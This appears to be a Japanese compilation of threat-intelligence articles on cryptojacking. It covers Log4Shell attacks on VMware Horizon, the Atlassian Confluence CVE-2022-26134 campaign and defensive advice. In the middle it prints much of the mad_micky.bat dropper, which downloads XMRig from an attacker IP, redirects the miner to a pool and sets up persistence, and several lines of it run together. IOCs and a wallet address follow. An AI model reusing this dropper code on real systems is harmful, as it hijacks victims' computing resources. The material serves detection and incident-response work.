demining/log4j-vulnerability脆弱性 CVE-2021-44228 は、いくつかのバージョンの Apache Log4j2 (Log4Shell) において、認証なしでリモートコード実行を可能にします。攻撃者は、HTTPS などの任意のプロトコルを介して接続し、特別に細工された文字列を送信することで、脆弱なサーバを悪用できます。
アリババクラウドセキュリティチームは、Apache Log4j2 (Log4Shell) の複数のバージョンに対して、認証されていないリモートコード実行を可能にする重大な脆弱性 (CVE-2021-44228) を公開しました。脆弱なサーバーは、HTTPS などの任意のプロトコルを介して接続し、特別に細工された文字列を送信する攻撃者によって悪用される可能性があります。
Darktrace は、この Log4j の脆弱性を悪用した結果発生した、複数の顧客環境における暗号通貨マイニングを検出しました。これらの各インシデントでは、悪用は、境界防御をバイパスし、バッチ (.bat) スクリプトファイルや、暗号通貨マイニングマルウェアをインストールする複数の実行ファイルをダウンロードするための base64 エンコードされた PowerShell スクリプトへのリクエストと思われる、送信 SSL 接続を介して発生しました。このアクティビティには、共通のハードコードされた IP アドレス、実行ファイル、スクリプトなど、より広範なキャンペーンを示す指標がありました。
攻撃サイクルは、Log4j エクスプロイトに対して脆弱な VMWare Horizons サーバーを探す、インターネット接続デバイスの日和見的なスキャンと思われるものから始まります。脆弱なサーバーが見つかると、攻撃者は被害者に対して HTTP および SSL 接続を行います。悪用に成功した後、サーバーはポート 1389 でコールバックを実行し、mad_micky.bat という名前のスクリプトを取得します。これにより、以下のことが達成されます。
少なくとも 2 つのケースでは、mad_micky.bat スクリプトは、ユーザーエージェント Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS) を持つ HTTP 接続で取得されました。これは、これらのネットワークでこのユーザーエージェントが確認された最初で唯一のケースでした。このユーザーエージェントは、工場出荷時インストール状態の一部の ASUS デバイスで正規に使用されているようです。ただし、このアクティビティ中にのみ見られた新しいユーザーエージェントであるため、不審です。
悪用に成功した後、サーバーはポート 1389 でコールバックを実行し、スクリプトファイルを取得します。この例では、/xms.ps1 は、ホスト上の実行ポリシーをバイパスして ‘mad_micky.bat’ を呼び出す base64 エンコードされた PowerShell スクリプトです。
図 1: PowerShell スクリプト xms.ps1 に関する追加情報
スナップショットは、影響を受けたサーバーのイベントログの詳細を示し、mad_micky.bat ファイルのダウンロードにつながった Log4j RCE の成功を示しています。
図 2: mad_micky.bat ファイルを強調したログデータ
実行ファイルとスクリプトを取得するために、追加の接続が開始されました。スクリプトには、韓国とウクライナにある 2 つの IP アドレスが含まれていました。マイナーを起動する実行ファイル xm.exe をダウンロードするために、ウクライナの IP への接続が行われました。マイナー (この場合は XMRig Miner) は、複数の公開場所からダウンロード可能なオープンソースのクロスプラットフォームマイニングツールです。次に確認された exe のダウンロードは ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4) でした。
図 3: XMRig 実行ファイルに関する追加情報
韓国の IP への接続には、別のスクリプト (/2.ps1) と実行ファイル (LogBack.exe) のリクエストが含まれていました。このスクリプトは、SCM イベントログフィルターや PowerShell イベントログコンシューマーなど、ログに関連する実行中のタスクを削除します。また、スクリプトは Pastebin からファイルをリクエストします。これはおそらく Cobalt Strike ビーコン設定ファイルです。ログの削除は、スケジュールされたタスクと WMI を介して実行され、含まれるもの: Eventlogger、SCM Event Log Filter、DSM Event Log Consumer、PowerShell Event Log Consumer、Windows Events Consumer、BVTConsumer。
Pastebin からリクエストされた 2 番目のファイル (現在は Pastebin でホストされていません) は、schtasks コマンドの一部であり、永続性を確立するために使用された可能性があります。
実行ファイル Logback.exe は別の XMRig マイニングツールです。config.json ファイルも同じ韓国の IP からダウンロードされました。その後、cmd.exe と wmic コマンドがマイナーの設定に使用されました。
これらのファイルのダウンロードとマイナーの設定の後、Pastebin への追加の接続が行われました。
図 4: mad_micky.bat ファイルの OSINT 関連付け
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1Darktrace がこのキャンペーンを特定するために使用した主要なモデル侵害には、侵害に焦点を当てたモデル (異常なポートのアプリケーションプロトコル、サーバーからのレアな送信接続、レアな宛先へのビーコン) が含まれます。ファイルに焦点を当てたモデル (偽装されたファイル転送、レアな場所からの複数の実行ファイルとスクリプト、レアな外部ロケーションからの圧縮コンテンツ)。暗号通貨マイニングは、暗号通貨マイニングアクティビティモデルの下で検出されます。
モデル Unusual PowerShell to Rare and New User Agent (レアで新しいユーザーエージェントへの異常な PowerShell) に関連付けられたモデルは、Log4j コールバック後の感染デバイス上の異常な接続を強調しています。
Darktrace の Autonomous Response テクノロジーである Antigena を搭載している顧客は、ダウンロードされた受信ファイルやスクリプトをブロックし、感染したデバイスを通常のライフパターンに制限して、最初の悪意のあるファイルのダウンロードと進行中の暗号通貨マイニングアクティビティの両方を防止するアクションも実行しました。
5月31日、すべての Confluence サーバーおよびデータセンターのサポート対象バージョンに影響する、未パッチの重大な脆弱性が、セキュリティ企業 Volexity によって Atlassian に報告されました。
Atlassian は 6 月 2 日に顧客にこの重大な脆弱性を警告し、翌日にパッチを発行しました。CISA は 6 月 3 日にこの脆弱性を既知の悪用された脆弱性のリストに追加しました。
Check Point は、この脆弱性を悪用した攻撃を防ぐための専用の保護をリリースし、顧客に影響を受けるシステムにパッチを適用するようアドバイスしています。
脆弱性
Atlassian Confluence および Data Center の脆弱性 (CVE-2022-26134) は、認証されていない Object-Graph Navigation Language (OGNL) 式インジェクション攻撃につながる可能性があります。
リモートの認証されていない攻撃者は、URI に悪意のあるペイロードを配置することで、この脆弱性を使用してターゲットサーバー上で任意のコードを実行できます。
図 1: CVE-2022-26134 を悪用する悪意のあるペイロード。
実際の悪用
Check Point Research (CPR) の研究者は、脆弱性が公開されてから多数の悪用試行に気づきました。最初は、多くの攻撃者がスキャン方法を使用して脆弱なターゲットを特定しました。数日後、攻撃者は脆弱性を使用して影響を受けるシステムにマルウェアをダウンロードし始めました。
悪用ログの中で、研究者は同じキャンペーンに関連し、同じソースから発信されながら異なるプラットフォーム (Linux と Windows) を標的にしたいくつかの悪意のあるペイロードに気づきました。
感染チェーンは被害者のオペレーティングシステムに依存します。
Linux OS を標的にした攻撃
攻撃者は、細工された HTTP リクエストを被害者に送信することで、Atlassian の 0-day 脆弱性を利用しました。
図 2: base64 エンコードされたペイロードで CVE-2022-26134 を悪用する細工された HTTP リクエスト。
base64 文字列は、別の base64 エンコードされた文字列にデコードされます。全体として、研究者は実際のペイロードを取得するために文字列を数回デコードする必要がありました。
図 3: デコードされた base64 文字列。
このスクリプトは、xms というbashスクリプトファイルをリモートのC&Cサーバーから被害者のtmpフォルダにダウンロードし、実行した後、削除します。
図4: 悪意のあるxmsスクリプトの一部。
xms ファイルはドロッパースクリプトです。これは、被害者のマシンから実行中のエージェントをアンインストールし、再起動後も持続させるためにcronジョブに自身を追加します。
さらに、a[.]oracleservice.top へのネットワーク接続テストが絶えず実行されます。
他のマシンに拡散する試みとして、スクリプトはSSHキーを検索し、接続を試みます。その後、C&Cサーバーからxmsファイルをダウンロードして実行します。
スクリプトは、dbused というELF実行ファイルを、さまざまなリモートIPの tmp フォルダにダウンロードします。
dbused ファイルは、静的検出を回避するためにupxでパックされています。
このELFファイルは、被害者のマシンのリソースを枯渇させる暗号通貨マイナーです。
図5: dbusedプロセスがシステムリソースを枯渇させている様子。
Windows OSを標的とした攻撃
攻撃者はAtlassianの脆弱性を利用して、PowerShellのダウンロードクレードルを実行し、リモートのC&Cサーバーからのファイルレス攻撃を開始しました。
図6: PowerShellコマンドを使用してCVE-2022-26134を悪用する、細工されたHTTPリクエスト。
lol.ps1 スクリプトは、PowerShellのメモリプロセスに注入されます。
スクリプトはプロセッサのアーキテクチャを確認し、wmi を使用して要件に一致するかチェックします。
その後、checkit2 という実行ファイルを tmp フォルダにダウンロードし、非表示モードで実行します。
図7: lol.ps1スクリプト。
checkit2.exe プロセスは、InstallUtil.exe という子プロセスを生成し、C&Cサーバーに接続します。InstallUtil.exe はさらに、AddInProcess.exe という別の子プロセス（暗号通貨マイナー）を生成します。被害者のマシン上でしばらく実行されると、checkit2 プロセスは自身を終了します。
図8: システム上で実行されているcheckit2.exeプロセス。
図9: システム上で実行されているInstallUtil.exeプロセス。
マルウェアは、自身の新しいコピーを新しい名前でスタートメニューフォルダにダウンロードします。
図10: スタートアップフォルダにダウンロードされたcloud.exeファイル。
暗号通貨マイナーはマシン上で実行され、システムのすべてのリソースを枯渇させます。
図11: 暗号通貨ウォレット情報。
攻撃チェーン
両方の攻撃シナリオは、CVE-2022-26134脆弱性を悪用した最初の細工されたHTTPリクエストから始まります。攻撃者はJava実行機能を使用してコマンドを実行し、悪意のあるペイロードを被害者のマシンにダウンロードさせます。
悪意のあるペイロードは、影響を受けるOSに応じて実行ファイルをダウンロードします。両方の実行ファイルは暗号通貨マイナーを実行し、被害者のリソースを自己の利益のために利用します。
脅威アクター
a[.]oracleservice.top ドメインとシステムから抽出した暗号通貨ウォレットは、「8220ギャング」と呼ばれるサイバー犯罪グループに関連しています。
Check Point 保護対策:
IPS:
Atlassian Confluence Remote Code Execution (CVE-2022-26134)
Anti-Bot:
Trojan.WIN32.XMRig
IOCs:
198.251.86[.]46
51.79.175[.]139
167.114.114[.]169
146.59.198[.]38
51.255.171[.]23
a.oracleservice[.]top
d2bae17920768883ff8ac9a8516f9708967f6c6afe2aa6da0241abf8da32456e
2622f6651e6eb01fc282565ccbd72caba9844d941b9d1c6e6046f68fc873d5e0
4e48080f37debd76af54a3231ecaf3aa254a008fae1253cdccfcc36640f955d9
4b8be1d23644f8cd5ea22fa4f70ee7213d56e3d73cbe1d0cc3c8e5dfafe753e0
Moneroウォレット:
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
クリプトジャッキングとは、他人のコンピューティングリソースを無断で使用して暗号通貨をマイニングすることです。ハッカーは、デスクトップ、サーバー、クラウドインフラなど、乗っ取れるあらゆる種類のシステムを乗っ取り、不正に暗号通貨をマイニングしようとします。
配信方法に関係なく、クリプトジャッキングコードは通常、無防備な被害者が通常通りシステムを使用している間、バックグラウンドで静かに動作します。被害者が気付く可能性のある唯一の兆候は、パフォーマンスの低下、実行の遅延、過熱、過剰な電力消費、または異常に高いクラウドコンピューティングの請求額です。
コインマイニングは、暗号通貨の世界における正当なプロセスであり、新しい暗号通貨を流通させます。このプロセスは、複雑な計算問題を最初に解いたマイナーに通貨を報酬として与えることで機能します。その問題は、暗号通貨のブロックチェーンに追加される、検証済みトランザクションのブロックを完了します。
「マイナーは基本的に、監査人としての仕事に対して報酬を受け取っています。彼らはビットコイン取引の正当性を検証する作業を行っています」と、最近のInvestopediaの解説はビットコインマイニングの仕組みについて詳しく説明しています。「マイナーの懐を潤し、ビットコインエコシステムをサポートすることに加えて、マイニングはもう一つの重要な目的を果たします。それは、新しい暗号通貨を流通させる唯一の方法であるということです。」
コインマイニングによって暗号通貨を稼ぐには、通常、膨大な処理能力とエネルギーが必要です。さらに、暗号通貨エコシステムは、時間の経過とマイニング競争の増加に伴い、マイニングをより困難にし、報酬を減らすように設計されています。これにより、正当な暗号通貨コインマイニングは極めて費用のかかる事業となり、費用は常に上昇しています。
サイバー犯罪者は、単にコンピューティングリソースとエネルギーリソースを盗むことで、マイニングの間接費を削減します。彼らは、不正に計算作業を行わせるシステムにアクセスするためにさまざまなハッキング技術を使用し、その後、これらの乗っ取られたシステムに結果をハッカーが管理するサーバーに送信させます。
攻撃手法はクリプトジャッカーの創造性によってのみ制限されますが、以下は現在使用されている最も一般的な手法の一部です。
過去には、クリプトジャッキングは主にエンドポイントマルウェアであり、デスクトップやラップトップにマルウェアを仕掛けるためのもう一つの金銭獲得目的として存在していました。従来のクリプトジャッキングマルウェアは、ファイルレスマルウェア、フィッシングスキーム、WebサイトやWebアプリに埋め込まれた悪意のあるスクリプトなどの一般的な経路で配信されます。
クリプトジャッキング攻撃者がリソースを盗む最も基本的な方法は、エンドポイントユーザーに、クリックするとクリプトマイニングスクリプトをコンピュータに配置するコードを実行する、正規に見える電子メールを送信することです。スクリプトはバックグラウンドで実行され、結果をコマンド＆コントロール（C2）インフラ経由で送り返します。
別の方法は、Webサイトや複数のWebサイトに配信される広告にスクリプトを注入することです。被害者がWebサイトにアクセスするか、感染した広告がブラウザに表示されると、スクリプトが自動的に実行されます。被害者のコンピュータにはコードは保存されません。
これらの経路は依然として正当な懸念事項ですが、犯罪者は利益を拡大しようとする中で、クリプトジャッキングのプレイブックに大幅に洗練された手法を追加しており、これらの進化した手法の一部を以下に説明します。
攻撃者は、サーバー、ネットワークデバイス、さらにはIoTデバイスにまで範囲を拡大することで、クリプトジャッキングの収益性を高めようとします。例えば、サーバーは通常、一般的なデスクトップよりも高性能であるため、特に魅力的な標的です。また、2022年には、攻撃者がLog4Jなどの脆弱性を含むパブリックインターネットに公開されたサーバーをスキャンし、その欠陥を悪用して、ハッカーのサーバーに接続されたシステム上にクリプトマイニングソフトウェアを静かにロードするため、主要な狩猟場となっています。多くの場合、攻撃者は最初に侵害したシステムを使用して、クリプトジャッキングを他のネットワークデバイスに横方向に移動させます。
「Log4J脆弱性に起因するクリプトマイニングの増加が見られます」と、LogRhythmのシニア脅威リサーチエンジニアであるSally Vincent氏は述べています。「ハッカーはネットワークに侵入し、ストレージを使用して暗号通貨をマイニングするマルウェアをインストールしています。」
サイバー犯罪者は、コード内にクリプトジャッキングスクリプトが埋め込まれた悪意のあるパッケージやライブラリをオープンソースコードリポジトリにシードすることで、ソフトウェアサプライチェーンを標的にしています。世界中の開発者がこれらのパッケージを何百万もダウンロードしているため、これらの攻撃は、悪意のあるパッケージが開発者のシステム（およびそれらが接続するネットワークやクラウドリソース）を標的にして、直接不正なクリプトマイニングリソースとして使用したり、開発者が構築しているソフトウェアに、アプリケーションのエンドユーザーのマシン上でクリプトマイニングスクリプトを実行するコンポーネントを混入させたりすることで、攻撃者のクリプトジャッキングインフラを急速に拡大できます。
多くのクリプトジャッキング事業者は、クラウドリソースのスケーラビリティを活用して、クラウドインフラに侵入し、マイニング活動を強化するためにより広範なコンピューティングプールを利用しています。Googleのサイバーセキュリティアクションチームによる昨年秋の調査では、侵害されたクラウドインスタンスの86%がクリプトマイニングに使用されていると報告されています。
「現在、攻撃者はあらゆる手段でクラウドサービスを標的にして、より多くの暗号通貨をマイニングしようとしています。クラウドサービスを使用すると、ユーザーの管理対象クラウド環境を乗っ取ったり、SaaSアプリケーションを悪用して計算を実行したりするなど、単一のローカルマシンよりも大規模に計算を実行できるからです」と、Palo Alto NetworksのシニアセキュリティリサーチャーであるGuy Arazi氏はブログ記事で述べています。
これを行う一般的な方法の1つは、公開されたコンテナAPIや保護されていないクラウドストレージバケットをスキャンし、そのアクセスを使用して、影響を受けるコンテナインスタンスやクラウドサーバーにコインマイニングソフトウェアをロードし始めることです。攻撃は通常、パブリックインターネットにアクセス可能で、APIが公開されているか、認証なしのアクセスが可能なサーバーを探すスキャンソフトウェアで自動化されます。攻撃者は通常、スクリプトを使用して、最初のシステムにマイナーペイロードをドロップし、接続されたクラウドシステム全体に伝搬する方法を探します。
「クリプトジャッキングを大規模に行うことの収益性と容易さにより、このタイプの攻撃は低い果実です」と、Cado SecurityのセキュリティリサーチャーであるMatt Muir氏は、ブログ記事で、クラウドベースの攻撃が特に有利であると説明しています。「これは、ユーザーがDockerやRedisなどのサービスを信頼されていないネットワークに公開し続ける限り、おそらく続くでしょう。」
ReasonLabsのレポートによると、昨年検出されたすべてのトロイの木馬の58.4%がクリプトジャッキングのコインマイナーでした。一方、SonicWallによる別の調査では、2021年はクリプトジャッキング攻撃にとってこれまでで最悪の年であり、そのカテゴリで年間9,710万件の攻撃が記録されたことが判明しました。これらの数字が非常に大きいのは、クリプトジャッキングが事実上サイバー犯罪者にとってお金を生み出しているからです。
犯罪者が被害者のマシンからの無料コンピューティングリソースの無限に見えるプールで暗号通貨をマイニングできる場合、彼らにとっての利点は莫大です。今年の春にビットコインの評価額が急落し30,000ドルを下回ったとしても、クリプトジャッカーの不正な利益率は依然としてビジネスとして成立しており、彼らがマイニングする価値は犯罪インフラのコストをはるかに上回っています。
Cado Labsのセキュリティ研究チームによるハニーポットが、公開されたDocker Engine APIエンドポイントとRedisサーバーを標的とし、ワームのように拡散できるマルチステージのクリプトジャッキング攻撃を発見しました。この攻撃はWatchDog攻撃グループによって行われており、このグループは2021年後半から2022年にかけて多数のクリプトジャッキングキャンペーンで特に活発でした。
TeamTNTは、クリプトジャッキングの焦点をクラウド指向のサービスに大きくシフトした最初のハッキンググループの1つでした。TrendMicroの研究者は2021年後半、このグループがKinsigギャングなどのライバルとともに、Alibaba Elastic Computing Service（ECS）インスタンスにマイナーをインストールし、検出を回避するためにセキュリティ機能を無効にするクリプトジャッキングキャンペーンを実施していることを報告しました。
Log4Shell脆弱性は、2022年のクリプトジャッキング攻撃者にとって恩恵となっています。顕著な例として、Sophosの研究者は今年初め、攻撃者の「大群」がVMware Horizonサーバーを標的にして、z0Miner、JavaXマイナー、少なくとも2つのXMRigバリアント（JinおよびMimu暗号通貨マイナーボット）を含む一連のクリプトジャッキングペイロードを配信していることを発見しました。
ソフトウェアサプライチェーンセキュリティの専門家であるSonatypeは、2021年秋に、世界中の開発者が使用するJavaScriptパッケージリポジトリであるnpmに隠された悪意のあるクリプトマイニングパッケージについて警鐘を鳴らしました。当時、少なくとも1つは「ua-parser-js」と呼ばれる人気のある正規ライブラリを偽装した3つのパッケージが見つかりました。このライブラリは毎週700万以上のダウンロードがあり、開発者を騙して誤って悪意のあるコードをダウンロードさせ、ソフトウェアにインストールさせる理想的な方法となるでしょう。
その報告から数ヶ月後、研究者のWhiteSource（現在はMend）は、npmが悪意のあるコードで溢れていることを示す追加の報告書を発表しました。最大1,300の悪意のあるパッケージにクリプトジャッキングやその他の不正な動作が含まれています。
昨年夏、Bitdefenderは、SSH認証情報を使用してLinuxベースのマシンを標的とし、Moneroマイニングマルウェアを展開していたルーマニアの脅威グループを発見しました。彼らが使用したツールは、サービスとしてのモデルで配布されていました。この事例は、Linuxシステムを狙った暗号通貨マイニング攻撃の増加傾向の最先端にあるように見えます。今年初めにVMwareが発表したレポートでは、特にXMRigマイニングソフトウェアを使用した、Linuxベースのマルチクラウド環境への標的化の増加が詳述されています。
「Linuxベースのシステムからの暗号通貨マイニングサンプルの多くは、XMRigアプリケーションと何らかの関係がある」とレポートは説明しており、暗号通貨マイニング攻撃の89%がXMRig関連のライブラリを使用していることを示しています。 「したがって、Linuxバイナリ内でXMRig固有のライブラリとモジュールが特定された場合、それは潜在的な暗号通貨マイニング行動の証拠である可能性が高い。」
CoinStopは、アジアのクラウドサービスプロバイダー（CSP）を標的とすることが最近発見された別のクリプトジャッキングキャンペーンです。これは、フォレンジック対策と回避策によって際立っていました。これには、タイムスタンプを操作するタイムストンピング、システムの暗号化ポリシーの削除、および /dev/tcp デバイスファイルを使用したリバースシェルセッションの作成が含まれていました、とCadoのMuirは攻撃に関するレポートで説明しています。
クリプトジャッカーは時として、企業のインフラから処理能力だけでなく、エネルギーやネットワークリソースを盗むために多大な努力を払うことがあります。昨年、Darktraceのアナリストは、クライアントの匿名の事例を取り上げ、倉庫内の一見普通の段ボール箱の中に偽装された暗号通貨マイニングファームを発見しました。内部には、企業のネットワーク電源に接続された複数のGPUを搭載したステルスリグがありました。
クリプトジャッキングは、エンドポイント、サーバー、クラウドリソースにまたがるマルチベクター攻撃へと進化したため、それを防ぐには、調整されたバランスの取れた防御戦略が必要です。以下の手順は、クリプトジャッキングが企業リソースで横行するのを防ぐのに役立ちます。
強力なエンドポイント保護を採用する：その基盤は、暗号通貨マイナーを検出できるエンドポイント保護とアンチマルウェアを使用すること、およびWebフィルターを最新の状態に保ち、ブラウザ拡張機能を管理してブラウザベースのスクリプトが実行されるリスクを最小限に抑えることです。組織は理想的には、サーバーなどに拡張できるエンドポイント保護プラットフォームを探すべきです。
サーバー（およびその他すべて）にパッチを適用し、堅牢化する。クリプトジャッカーは、静かに収穫できる最も簡単な標的を探す傾向があります。これには、古い脆弱性を含む公開されたサーバーのスキャンが含まれます。パッチの適用、未使用サービスの無効化、外部フットプリントの制限を含む基本的なサーバー堅牢化は、サーバーベースの攻撃のリスクを最小限に抑えるのに大いに役立ちます。
ソフトウェア構成分析を使用する。ソフトウェア構成分析（SCA）ツールは、コインマイニングスクリプトを悪用するサプライチェーン攻撃を防ぐために、ソフトウェア内で使用されているコンポーネントの可視性を向上させます。
クラウドの設定ミスを追跡する。組織がクラウドでのクリプトジャッキングを阻止するための最も効果的な方法の1つは、クラウドとコンテナの設定を厳格にすることです。つまり、適切な認証なしにパブリックインターネットに公開されたクラウドサービスを見つけ出し、公開されたAPIサーバーを根絶し、開発者環境に保存されアプリケーションにハードコードされた認証情報やその他のシークレットを排除することです。
クリプトジャッキングは、長期的な検出を避けるために最小限の痕跡を残すように設計された、古典的な低くて遅いサイバー攻撃です。エンドポイント保護プラットフォームとエンドポイント検出および対応テクノロジーは、クリプトジャッキング攻撃を警告する点で長足の進歩を遂げていますが、悪意のある者はこの分野で回避の達人であり、不正なコインマイナーを検出することは依然として困難な場合があり、特に少数のシステムしか侵害されていない場合はなおさらです。以下は、クリプトジャッキングの兆候を特定するための追加の方法です。
ヘルプデスクに暗号通貨マイニングの兆候を探すよう訓練する。ユーザーエンドポイントでの最初の兆候は、コンピュータのパフォーマンス低下に関するヘルプデスクへの苦情の急増である場合があります。これは、さらに調査するためのレッドフラグを上げるべきであり、デバイスの過熱やモバイルデバイスのバッテリー性能低下も同様です。
ネットワーク監視ソリューションを導入する。ネットワーク監視ツールは、クリプトジャッキング活動を示すWebトラフィックや発信C2トラフィックの種類を把握するための強力なツールを提供できます。それがどのデバイスから来ているかに関係ありません。
「発信接続の開始を監視しているサーバーで適切な出力フィルタリングを行っていれば、[暗号通貨マイニングマルウェア]の優れた検出になります」と、Archaea Energyの副社長兼CISOであるTravis Farral氏は述べています。ただし、暗号通貨マイナーの作成者は、その検出方法を回避するようにマルウェアを作成できると警告しています。
クラウド監視とコンテナランタイムセキュリティを使用する。クラウド監視やコンテナランタイムセキュリティスキャンなどの進化するツールは、不正な暗号通貨マイナーによって影響を受ける可能性のあるクラウド環境への追加の可視性を提供できます。クラウドプロバイダーは、この種の可視性をサービスに組み込んでおり、場合によってはアドオンとして提供しています。たとえば、Google Cloudは今年初めにSecurity Command Centerを拡張し、クラウドでの暗号通貨マイニングの兆候を検出するためのVirtual Machine Threat Detection（VMTD）を含めました。
定期的な脅威ハンティングを実施する。多くのクリプトジャッキング攻撃はステルス性が高く、痕跡をほとんど残さないため、組織は脅威ハンティングなどのより積極的な対策を講じて、侵害の微妙な兆候を定期的に探し出し、調査を実行する必要がある場合があります。
「エンドポイントセキュリティとSOCチームは、潜在的に壊滅的な何かが起こるのを待つのではなく、積極的な演習と脅威ハンティングに時間を投資すべきです」とLogRhythmのVincent氏は述べています。
Webサイトで暗号通貨マイニングコードを監視する。Farral氏は、クリプトジャッカーがWebサーバーにJavaScriptコードの断片を配置する方法を見つけていると警告しています。「サーバー自体が標的ではなく、Webサイトにアクセスするすべての人が[感染のリスクにさらされる]」と彼は述べています。Webサーバー上のファイル変更やページ自体の変更を定期的に監視することを推奨しています。
不正な暗号通貨マイニング活動が検出された後、クリプトジャッキング攻撃への対応は、封じ込め、根絶、復旧、教訓を含む標準的なサイバーインシデント対応手順に従う必要があります。クリプトジャッキング攻撃への対応方法のヒントをいくつか紹介します。
Web配信スクリプトを強制終了する。ブラウザ内JavaScript攻撃の場合、暗号通貨マイニングが検出されたら解決策は簡単です。スクリプトを実行しているブラウザタブを閉じます。IT部門は、スクリプトのソースであるWebサイトのURLをメモし、会社のWebフィルターを更新してブロックする必要があります。
侵害されたコンテナインスタンスをシャットダウンする。コインマイナーで侵害されたコンテナインスタンスなどの不変のクラウドインフラストラクチャも、感染したコンテナインスタンスをシャットダウンして新しく起動することで簡単に処理できます。ただし、組織は、最初にコンテナ侵害につながった根本原因を調査する必要があります。つまり、コンテナダッシュボードと認証情報が侵害された兆候を探し、接続されたクラウドリソースを侵害の兆候について調査することを意味します。重要なステップは、古いコンテナイメージを置き換える新しいコンテナイメージが同様に構成されていないことを確認することです。
権限を削減し、APIキーを再生成する。クラウドベースのクリプトジャッキングを根絶し、完全に復旧するには、組織は影響を受けたクラウドリソース（およびそれらに接続されているリソース）への権限を削減し、攻撃者が同じクラウド環境に再び侵入するのを防ぐためにAPIキーを再生成する必要があります。
学び、適応する。この経験を活用して、攻撃者がどのようにシステムを侵害できたかをよりよく理解します。ユーザー、ヘルプデスク、IT、SOCアナリストのトレーニングを更新し、クリプトジャッキングの試みをより適切に特定して対応できるようにします。
編集者注：この記事は2018年2月に最初に公開され、新しい研究、ベストプラクティス、クリプトジャッキングの例を含むように更新されました。
